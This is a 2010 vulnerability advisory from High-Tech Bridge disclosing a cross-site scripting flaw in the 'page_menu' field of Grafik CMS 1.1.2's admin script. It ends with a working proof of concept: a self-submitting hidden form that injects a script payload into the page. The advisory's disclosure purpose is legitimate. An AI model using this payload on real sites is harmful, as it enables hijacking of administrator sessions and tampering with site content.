XSS vulnerability in Grafik CMS

Vulnerability ID: HTB22439
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_grafik_cms_1.html
Product: Grafik CMS
Vendor: GrafikPower
Vulnerable Version: 1.1.2 and Probably Prior Versions
Vendor Notification: 14 June 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/admin.php" script to properly sanitize user-supplied input in "page_menu" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/admin.php?action=edit_page&amp;id=1&quot; method="post" name="main" >
<input type="hidden" name="page_title" value="page title" />
<input type="hidden" name="page_menu" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="page_content" value="some page content" />
<input id="sbmt" type="submit" name="submit" value="Modifier" />
</form>
<script>
document.getElementById('sbmt').click();
</script>